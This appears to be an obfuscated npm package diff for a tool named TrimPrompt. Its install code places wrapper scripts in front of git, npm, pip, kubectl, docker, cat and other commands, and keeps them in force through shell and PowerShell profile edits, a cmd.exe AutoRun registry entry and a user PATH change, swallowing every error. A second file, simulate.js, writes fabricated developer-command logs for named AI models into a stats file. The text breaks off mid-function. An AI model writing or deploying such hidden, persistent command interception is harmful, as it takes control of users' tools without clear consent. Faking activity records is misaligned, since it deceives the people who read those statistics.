fs=__importStar(require('fs')),path=__importStar(require(a0_0x3da6f7(0x146))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0x3da6f7(0x1ab),a0_0x3da6f7(0x15a),'rg',a0_0x3da6f7(0x17d),a0_0x3da6f7(0x18d),'gh',a0_0x3da6f7(0x1a3),a0_0x3da6f7(0x184),'npm',a0_0x3da6f7(0x160),'npx',a0_0x3da6f7(0x1a6),a0_0x3da6f7(0x162),a0_0x3da6f7(0x1a4),a0_0x3da6f7(0x187),'pip',a0_0x3da6f7(0x177),'go'],PROFILE_MARKER=a0_0x3da6f7(0x1b1);function getExecSync(){const _0x470a70=a0_0x3da6f7;return require(_0x470a70(0x194))['execSync'];}function getExecFileSync(){const _0x415d2c=a0_0x3da6f7;return require(_0x415d2c(0x194))[_0x415d2c(0x14f)];}function ensureProfileContains(_0xf493fa,_0x3cd068,_0x4dde83){const _0x482b19=a0_0x3da6f7;try{const _0x211579=path[_0x482b19(0x157)](_0xf493fa);!fs['existsSync'](_0x211579)&&fs[_0x482b19(0x171)](_0x211579,{'recursive':!![]});if(fs['existsSync'](_0xf493fa)){const _0x48ee09=fs['readFileSync'](_0xf493fa,_0x482b19(0x1b2));if(_0x48ee09[_0x482b19(0x19f)](_0x3cd068))return;fs[_0x482b19(0x1af)](_0xf493fa,_0x4dde83,'utf8');}else fs[_0x482b19(0x156)](_0xf493fa,_0x4dde83,_0x482b19(0x1b2));}catch{}}function removeProfileBlock(_0x30c4c1,_0x29ce80){const _0x454ea9=a0_0x3da6f7;try{if(!fs[_0x454ea9(0x1a0)](_0x30c4c1))return;const _0x523dd7=fs['readFileSync'](_0x30c4c1,_0x454ea9(0x1b2));if(!_0x523dd7[_0x454ea9(0x19f)](_0x29ce80))return;const _0x47b369=_0x523dd7[_0x454ea9(0x196)]('\x0a'),_0x4f4b34=[];let _0x451010=![];for(let _0x4c5219=0x0;_0x4c5219<_0x47b369[_0x454ea9(0x166)];_0x4c5219++){if(_0x47b369[_0x4c5219]['includes'](_0x29ce80)){_0x451010=!![];continue;}if(_0x451010){_0x451010=![];continue;}_0x4f4b34[_0x454ea9(0x18b)](_0x47b369[_0x4c5219]);}const _0x354324=_0x4f4b34[_0x454ea9(0x16c)]('\x0a')[_0x454ea9(0x13d)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x30c4c1,_0x354324,_0x454ea9(0x1b2));}catch{}}function a0_0xa41f(){const _0x76277d=['powershell\x20-NoProfile\x20-Command\x20\x22','\x20\x20trim\x20','506424uxpydo','prototype','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','writeFileSync','dirname','trim.cmd','\x20\x22$@\x22;\x20fi\x0a','grep','3vMImpo','homedir','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','$PROFILE.CurrentUserAllHosts','npm','pnpm','getOwnPropertyNames','kubectl','-Command','__createBinding','win32','length','if\x20exist\x20\x22','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','export\x20PATH=\x22','9215906jVDTDM','__setModuleDefault','join','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','\x20commands.\x0a\x0a','chmodSync','-NoProfile','mkdirSync','some','filter',';\x22\x20+\x20$env:PATH\x0a','\x0a#\x20','platform','pip3','shims','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','\x20%*','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','.bashrc','ruff','11272842JFbGfQ','.cmd','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27',':$PATH\x22','$PROFILE.CurrentUserCurrentHost','call','cargo','.profile','trim','pytest','755','.bash_profile','pwsh','push','3cgRmUg','git',';=%\x22','@echo\x20off','\x20&\x20','\x27,\x20\x27User\x27)','.zshrc','uninstallShims','child_process','toLowerCase','split','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','299678cpMvff','get','map','trim.ps1','rmdirSync','\x0aexport\x20PATH=\x22','default','includes','existsSync','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','glab','docker','3671752pNhBfb','yarn','readdirSync','Remove-ItemProperty\x20-Path\x20\x27','defineProperty','create','read','9086346FqxcsD','Failed\x20to\x20install\x20shims:\x20','ignore','appendFileSync','pipe','TrimPrompt\x20Shims\x20PATH','utf8','__esModule','\x20@args\x20}\x0a','powershell.exe','Set-ItemProperty\x20-Path\x20\x27','writable','replace','message','\x20@args\x20}\x20else\x20{\x20&\x20','installShims','unlinkSync','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.',':$PATH\x22\x0a','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','path','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','powershell','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','.ps1','\x22\x20set\x20\x22PATH=','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','configurable','getOwnPropertyDescriptor','execFileSync','6101925OZXlSP'];a0_0xa41f=function(){return _0x76277d;};return a0_0xa41f();}function collectPowerShellProfiles(){const _0x35965e=a0_0x3da6f7,_0x217064=getExecSync(),_0x48de38=[],_0x391643=[[_0x35965e(0x148),_0x35965e(0x182)],[_0x35965e(0x148),_0x35965e(0x15e)]];try{_0x217064(_0x35965e(0x145),{'stdio':_0x35965e(0x1ae)}),_0x391643['push']([_0x35965e(0x18a),_0x35965e(0x15e)]);}catch{}for(const [_0x229a52,_0x15f7e5]of _0x391643){try{const _0x105d14=_0x217064(_0x229a52+'\x20-NoProfile\x20-Command\x20\x22'+_0x15f7e5+'\x22',{'encoding':_0x35965e(0x1b2)})[_0x35965e(0x186)]();_0x105d14&&!_0x48de38[_0x35965e(0x172)](_0x5cf2c7=>_0x5cf2c7['toLowerCase']()===_0x105d14['toLowerCase']())&&_0x48de38['push'](_0x105d14);}catch{}}return _0x48de38;}function getBashProfilesWindows(){const _0x3ef90b=a0_0x3da6f7,_0x42476f=os[_0x3ef90b(0x15c)]();return[_0x3ef90b(0x17c),_0x3ef90b(0x189)][_0x3ef90b(0x19a)](_0x4cce8d=>path['join'](_0x42476f,_0x4cce8d));}function getBroadcastCommand(){const _0x55bb77=a0_0x3da6f7;return _0x55bb77(0x142);}function a0_0x25cb(_0x34fd73,_0x505c1a){_0x34fd73=_0x34fd73-0x139;const _0xa41fc=a0_0xa41f();let _0x25cba5=_0xa41fc[_0x34fd73];return _0x25cba5;}function installShims(){const _0x29184d=a0_0x3da6f7,_0x21e9d9=path['join'](os[_0x29184d(0x15c)](),'.trimprompt',_0x29184d(0x178));try{!fs[_0x29184d(0x1a0)](_0x21e9d9)&&fs[_0x29184d(0x171)](_0x21e9d9,{'recursive':!![]});const _0x1b617a=os[_0x29184d(0x176)]()===_0x29184d(0x165);for(const _0x162c39 of SHIMMED_COMMANDS){if(_0x1b617a){const _0x23b1ff=path[_0x29184d(0x16c)](_0x21e9d9,_0x162c39+_0x29184d(0x17f)),_0x88f046=process.env.APPDATA?path[_0x29184d(0x16c)](process.env.APPDATA,_0x29184d(0x15f)):'',_0x55fdca=_0x88f046?_0x29184d(0x167)+path[_0x29184d(0x16c)](_0x88f046,_0x29184d(0x158))+'\x22':_0x29184d(0x16d),_0x13e606=[_0x29184d(0x18f),_0x55fdca+'\x20(',_0x29184d(0x152)+_0x162c39+_0x29184d(0x17a),')\x20else\x20(','\x20\x20set\x20\x22PATH=%PATH:'+_0x21e9d9+_0x29184d(0x18e),'\x20\x20'+_0x162c39+_0x29184d(0x17a),')'][_0x29184d(0x16c)]('\x0d\x0a')+'\x0d\x0a';fs[_0x29184d(0x156)](_0x23b1ff,_0x13e606,'utf8');const _0x52923f=path['join'](_0x21e9d9,_0x162c39+_0x29184d(0x14a)),_0x32967d='if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x162c39+_0x29184d(0x13f)+_0x162c39+_0x29184d(0x139);fs[_0x29184d(0x156)](_0x52923f,_0x32967d,_0x29184d(0x1b2));const _0x492012=path[_0x29184d(0x16c)](_0x21e9d9,_0x162c39),_0xb49ad3=_0x21e9d9['replace'](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0xd2afff,_0x5e0377)=>'/'+_0x5e0377[_0x29184d(0x195)]()),_0x598d02=_0x29184d(0x155)+_0x162c39+_0x29184d(0x1a1)+_0xb49ad3+_0x29184d(0x1a2)+_0x162c39+_0x29184d(0x159);fs[_0x29184d(0x156)](_0x492012,_0x598d02,'utf8');}else{const _0x5d8a01=path[_0x29184d(0x16c)](_0x21e9d9,_0x162c39),_0x340a88=_0x29184d(0x155)+_0x162c39+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x162c39+_0x29184d(0x159);fs[_0x29184d(0x156)](_0x5d8a01,_0x340a88,'utf8'),fs[_0x29184d(0x16f)](_0x5d8a01,_0x29184d(0x188));}}let _0x31d32d=![],_0x1b26e0='';if(_0x1b617a)try{const _0x14d1dd=getExecSync(),_0x54efbd='\x0a#\x20'+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x21e9d9+_0x29184d(0x174),_0x251d2c=collectPowerShellProfiles();for(const _0x39a5ce of _0x251d2c){ensureProfileContains(_0x39a5ce,_0x21e9d9,_0x54efbd);}try{const _0x28316e=getExecFileSync(),_0x17264a=_0x29184d(0x167)+_0x21e9d9+_0x29184d(0x14b)+_0x21e9d9+';%PATH%\x22',_0x55ad49=_0x29184d(0x147);let _0x37295b='';try{const _0x219fca=_0x29184d(0x149)+_0x55ad49+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x37295b=_0x28316e('powershell.exe',['-NoProfile',_0x29184d(0x163),_0x219fca],{'encoding':_0x29184d(0x1b2),'stdio':[_0x29184d(0x1b0),'pipe',_0x29184d(0x1ae)]})[_0x29184d(0x186)]();}catch{}if(!_0x37295b[_0x29184d(0x19f)](_0x21e9d9)){const _0x5f45db=_0x37295b?_0x37295b+_0x29184d(0x190)+_0x17264a:_0x17264a,_0x5967fb='New-Item\x20-Path\x20\x27'+_0x55ad49+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x55ad49+_0x29184d(0x180)+_0x5f45db+'\x27';_0x28316e(_0x29184d(0x13a),['-NoProfile','-Command',_0x5967fb],{'stdio':_0x29184d(0x1ae)});}}catch{}try{const _0x1007f8=_0x21e9d9[_0x29184d(0x13d)](/\\/g,'/')[_0x29184d(0x13d)](/^([A-Za-z]):/,(_0x590f31,_0x5a117c)=>'/'+_0x5a117c[_0x29184d(0x195)]()),_0x4ba508=_0x29184d(0x175)+PROFILE_MARKER+_0x29184d(0x19d)+_0x1007f8+_0x29184d(0x144),_0x17536b=getBashProfilesWindows();let _0xa4430=![];for(const _0x18b2f1 of _0x17536b){fs[_0x29184d(0x1a0)](_0x18b2f1)&&(ensureProfileContains(_0x18b2f1,_0x1007f8,_0x4ba508),_0xa4430=!![]);}!_0xa4430&&ensureProfileContains(_0x17536b[0x0],_0x1007f8,_0x4ba508);}catch{}const _0x19db7e='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x2e3ccf=_0x14d1dd('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x19db7e+'\x22',{'encoding':_0x29184d(0x1b2),'stdio':[_0x29184d(0x1b0),'pipe',_0x29184d(0x1ae)]})[_0x29184d(0x186)]();if(!_0x2e3ccf['includes'](_0x21e9d9)){const _0x3b1343=_0x21e9d9+';'+_0x2e3ccf,_0x2b00a3=_0x3b1343['replace'](/'/g,'\x27\x27'),_0x4e68fd='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x2b00a3+'\x27,\x20\x27User\x27)';_0x14d1dd(_0x29184d(0x151)+_0x4e68fd+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x29184d(0x1ae)});}const _0xd5f4a0=path[_0x29184d(0x16c)](process.env.APPDATA||'','npm',_0x29184d(0x19b));if(fs['existsSync'](_0xd5f4a0))try{fs[_0x29184d(0x141)](_0xd5f4a0);}catch{}_0x31d32d=!![];}catch(_0x4b0c7e){_0x1b26e0='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x21e9d9;}else try{const _0x582c90=_0x29184d(0x169)+_0x21e9d9+_0x29184d(0x144),_0x354259=os[_0x29184d(0x15c)](),_0x25d02a=[_0x29184d(0x17c),_0x29184d(0x192),_0x29184d(0x189),'.profile'];let _0x3c03d9=![];for(const _0x73e017 of _0x25d02a){const _0x5e2dc1=path['join'](_0x354259,_0x73e017);fs['existsSync'](_0x5e2dc1)&&(ensureProfileContains(_0x5e2dc1,_0x21e9d9,_0x29184d(0x175)+PROFILE_MARKER+'\x0a'+_0x582c90),_0x3c03d9=!![]);}if(!_0x3c03d9){const _0x4458bd=path[_0x29184d(0x16c)](_0x354259,_0x29184d(0x17c));ensureProfileContains(_0x4458bd,_0x21e9d9,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x582c90);}_0x31d32d=!![];}catch(_0x55a2b1){_0x1b26e0='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x21e9d9+_0x29184d(0x181);}const _0x792fb6='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x29184d(0x166)]+_0x29184d(0x16e),_0xd7cecc=_0x31d32d?_0x792fb6+_0x29184d(0x143):_0x792fb6+_0x29184d(0x179)+_0x1b26e0;return{'success':!![],'pathDir':_0x21e9d9,'message':_0xd7cecc};}catch(_0x457519){return{'success':![],'pathDir':_0x21e9d9,'message':_0x29184d(0x1ad)+_0x457519['message']};}}function uninstallShims(){const _0x30280e=a0_0x3da6f7,_0x38dc5d=path['join'](os[_0x30280e(0x15c)](),'.trimprompt',_0x30280e(0x178)),_0x33f9c7=os[_0x30280e(0x176)]()===_0x30280e(0x165);try{if(_0x33f9c7){const _0x2fa293=getExecSync();try{const _0x17e120=getExecFileSync(),_0xb3d624=_0x30280e(0x147),_0x3eede7=_0x30280e(0x149)+_0xb3d624+_0x30280e(0x197),_0x3f5dfd=_0x17e120(_0x30280e(0x13a),['-NoProfile',_0x30280e(0x163),_0x3eede7],{'encoding':_0x30280e(0x1b2),'stdio':[_0x30280e(0x1b0),_0x30280e(0x1b0),'ignore']})[_0x30280e(0x186)]();if(_0x3f5dfd[_0x30280e(0x19f)](_0x38dc5d)){const _0x5d1ee0=_0x3f5dfd[_0x30280e(0x196)]('\x20&\x20')[_0x30280e(0x173)](_0x2e51cb=>!_0x2e51cb[_0x30280e(0x19f)](_0x38dc5d));if(_0x5d1ee0[_0x30280e(0x166)]===0x0){const _0x189bfb=_0x30280e(0x1a8)+_0xb3d624+_0x30280e(0x17b);_0x17e120('powershell.exe',[_0x30280e(0x170),_0x30280e(0x163),_0x189bfb],{'stdio':_0x30280e(0x1ae)});}else{const _0x61617b=_0x5d1ee0[_0x30280e(0x16c)](_0x30280e(0x190)),_0x292fcb=_0x30280e(0x13b)+_0xb3d624+_0x30280e(0x180)+_0x61617b+'\x27';_0x17e120(_0x30280e(0x13a),[_0x30280e(0x170),_0x30280e(0x163),_0x292fcb],{'stdio':_0x30280e(0x1ae)});}}}catch{}try{const _0x103c0e=collectPowerShellProfiles();for(const _0x113077 of _0x103c0e){removeProfileBlock(_0x113077,PROFILE_MARKER);}}catch{}try{for(const _0x3c994c of getBashProfilesWindows()){removeProfileBlock(_0x3c994c,PROFILE_MARKER);}}catch{}try{const _0x12e6d4=_0x30280e(0x168),_0x16a8e5=_0x2fa293(_0x30280e(0x151)+_0x12e6d4+'\x22',{'encoding':_0x30280e(0x1b2),'stdio':[_0x30280e(0x1b0),_0x30280e(0x1b0),_0x30280e(0x1ae)]})[_0x30280e(0x186)]();if(_0x16a8e5['includes'](_0x38dc5d)){const _0x40376c=_0x16a8e5[_0x30280e(0x196)](';')[_0x30280e(0x173)](_0x58ee28=>_0x58ee28[_0x30280e(0x186)]()[_0x30280e(0x195)]()!==_0x38dc5d[_0x30280e(0x195)]())['join'](';'),_0x2dfa15=_0x40376c['replace'](/'/g,'\x27\x27'),_0x29e562=_0x30280e(0x15d)+_0x2dfa15+_0x30280e(0x191);_0x2fa293('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x29e562+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x30280e(0x1ae)});}}catch{}}else{const _0xc9cebc=os['homedir'](),_0x175b0f=[_0x30280e(0x17c),'.zshrc',_0x30280e(0x189),_0x30280e(0x185)];for(const _0x2c5466 of _0x175b0f){removeProfileBlock(path['join'](_0xc9cebc,_0x2c5466),PROFILE_MARKER);}}if(fs[_0x30280e(0x1a0)](_0x38dc5d)){const _0x4e550c=fs[_0x30280e(0x1a7)](_0x38dc5d);for(const _0x53deac of _0x4e550c){fs[_0x30280e(0x141)](path['join'](_0x38dc5d,_0x53deac));}fs[_0x30280e(0x19c)](_0x38dc5d);}return{'success':!![],'message':_0x30280e(0x14c)};}catch(_0x5206a9){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x5206a9[_0x30280e(0x13e)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0xcd25ff=a0_0xc994;(function(_0x2a1e4e,_0x3b0ab0){const _0x70f6f8=a0_0xc994,_0x523b00=_0x2a1e4e();while(!![]){try{const _0x4acdfd=-parseInt(_0x70f6f8(0xee))/0x1*(parseInt(_0x70f6f8(0x108))/0x2)+-parseInt(_0x70f6f8(0x10e))/0x3*(parseInt(_0x70f6f8(0x112))/0x4)+parseInt(_0x70f6f8(0x10c))/0x5+parseInt(_0x70f6f8(0x104))/0x6*(parseInt(_0x70f6f8(0x113))/0x7)+-parseInt(_0x70f6f8(0xf9))/0x8+-parseInt(_0x70f6f8(0x11b))/0x9+parseInt(_0x70f6f8(0x11d))/0xa;if(_0x4acdfd===_0x3b0ab0)break;else _0x523b00['push'](_0x523b00['shift']());}catch(_0x41eb2e){_0x523b00['push'](_0x523b00['shift']());}}}(a0_0x3233,0xbe873));Object[a0_0xcd25ff(0xe0)](exports,a0_0xcd25ff(0xde),{'value':!![]});const tracker_1=require(a0_0xcd25ff(0xfa));console[a0_0xcd25ff(0x11c)](a0_0xcd25ff(0xe9));const models=[a0_0xcd25ff(0xff),'gpt-4o',a0_0xcd25ff(0x11e),a0_0xcd25ff(0xe2),'gemini-1-5-flash',a0_0xcd25ff(0xf8)],commands=[{'cmd':a0_0xcd25ff(0xe1),'raw':a0_0xcd25ff(0x109)[a0_0xcd25ff(0xf0)](0x32),'comp':a0_0xcd25ff(0x103),'exitCode':0x0},{'cmd':a0_0xcd25ff(0x114),'raw':a0_0xcd25ff(0x100)+a0_0xcd25ff(0x11a)[a0_0xcd25ff(0xf0)](0x28)+a0_0xcd25ff(0x110),'comp':a0_0xcd25ff(0x11f),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xe6),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+'added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'+'found\x200\x20vulnerabilities\x0a','comp':a0_0xcd25ff(0x10a),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xf4),'raw':a0_0xcd25ff(0x10d)+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0xcd25ff(0xe4),'comp':a0_0xcd25ff(0xeb),'exitCode':0x0},{'cmd':a0_0xcd25ff(0x105),'raw':a0_0xcd25ff(0xe7)+a0_0xcd25ff(0xf3)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0xcd25ff(0x111)+a0_0xcd25ff(0xe5),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0xcd25ff(0xfe),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0xcd25ff(0x118)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0xcd25ff(0x116),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xea),'raw':a0_0xcd25ff(0xe3)+a0_0xcd25ff(0xf1),'comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0xcd25ff(0x101),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0xcd25ff(0x10b)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':a0_0xcd25ff(0xf2),'exitCode':0x0}],startTime=Date[a0_0xcd25ff(0xdf)]()-0x36ee80;function a0_0xc994(_0x5c1ade,_0x246246){_0x5c1ade=_0x5c1ade-0xde;const _0x323302=a0_0x3233();let _0xc99453=_0x323302[_0x5c1ade];return _0xc99453;}for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0xcd25ff(0x106)]],commandItem=commands[Math[a0_0xcd25ff(0xec)](Math['random']()*commands[a0_0xcd25ff(0x106)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0xcd25ff(0xfc)](),log=tracker_1['tracker']['logExecution'](commandItem[a0_0xcd25ff(0x117)],commandItem[a0_0xcd25ff(0xfd)],commandItem['comp'],commandItem['exitCode']),logs=tracker_1[a0_0xcd25ff(0x10f)][a0_0xcd25ff(0x107)]();logs[a0_0xcd25ff(0x106)]>0x0&&(logs[logs[a0_0xcd25ff(0x106)]-0x1][a0_0xcd25ff(0x119)]=timestamp,require('fs')[a0_0xcd25ff(0xe8)](require(a0_0xcd25ff(0xf6))[a0_0xcd25ff(0x115)](require('os')[a0_0xcd25ff(0x102)](),a0_0xcd25ff(0xef),a0_0xcd25ff(0xed)),JSON[a0_0xcd25ff(0xf5)](logs,null,0x2),a0_0xcd25ff(0xf7)));}console[a0_0xcd25ff(0x11c)](a0_0xcd25ff(0xfb));function a0_0x3233(){const _0x231820=['139407aWoVaV','.trimprompt','repeat','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20run\x20lint:\x20✖\x202\x20warnings','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','stringify','path','utf8','claude-3-opus','3446456sWPKMp','./tracker','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','toISOString','raw','pip\x20install\x20tensorflow\x20pandas\x20numpy','claude-3-5-sonnet','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','npm\x20run\x20lint','homedir','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','960198KKqhFc','kubectl\x20get\x20pods\x20-n\x20production','length','getLogs','2cJUOxi','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','1891840DweVnS','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','31551gGkcKy','tracker','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','248fjCUzC','28ITWLmL','cargo\x20test','join','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','cmd','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','timestamp','test\x20tests::test_case_','1703934WlXxyO','log','11734970EawFFq','gpt-4o-mini','cargo\x20test:\x2045\x20passed,\x200\x20failed.','__esModule','now','defineProperty','git\x20diff\x20main','gemini-1-5-pro','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','Completed\x203\x20of\x203\x20assets\x20successfully.','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','writeFileSync','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','git\x20log\x20-n\x205','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','floor','stats.json'];a0_0x3233=function(){return _0x231820;};return a0_0x3233();}
1
+ 'use strict';const a0_0x4a720e=a0_0x17ed;(function(_0x15aef8,_0x1217f9){const _0x592357=a0_0x17ed,_0x445e66=_0x15aef8();while(!![]){try{const _0x3d8d55=-parseInt(_0x592357(0x92))/0x1+-parseInt(_0x592357(0x85))/0x2+-parseInt(_0x592357(0xa6))/0x3+-parseInt(_0x592357(0xb5))/0x4*(-parseInt(_0x592357(0x86))/0x5)+parseInt(_0x592357(0x9c))/0x6+-parseInt(_0x592357(0x9f))/0x7+-parseInt(_0x592357(0x88))/0x8*(-parseInt(_0x592357(0xaa))/0x9);if(_0x3d8d55===_0x1217f9)break;else _0x445e66['push'](_0x445e66['shift']());}catch(_0x36c08b){_0x445e66['push'](_0x445e66['shift']());}}}(a0_0x1312,0xc0e8e));Object[a0_0x4a720e(0xbe)](exports,a0_0x4a720e(0x90),{'value':!![]});const tracker_1=require('./tracker');console[a0_0x4a720e(0x8f)](a0_0x4a720e(0xb8));function 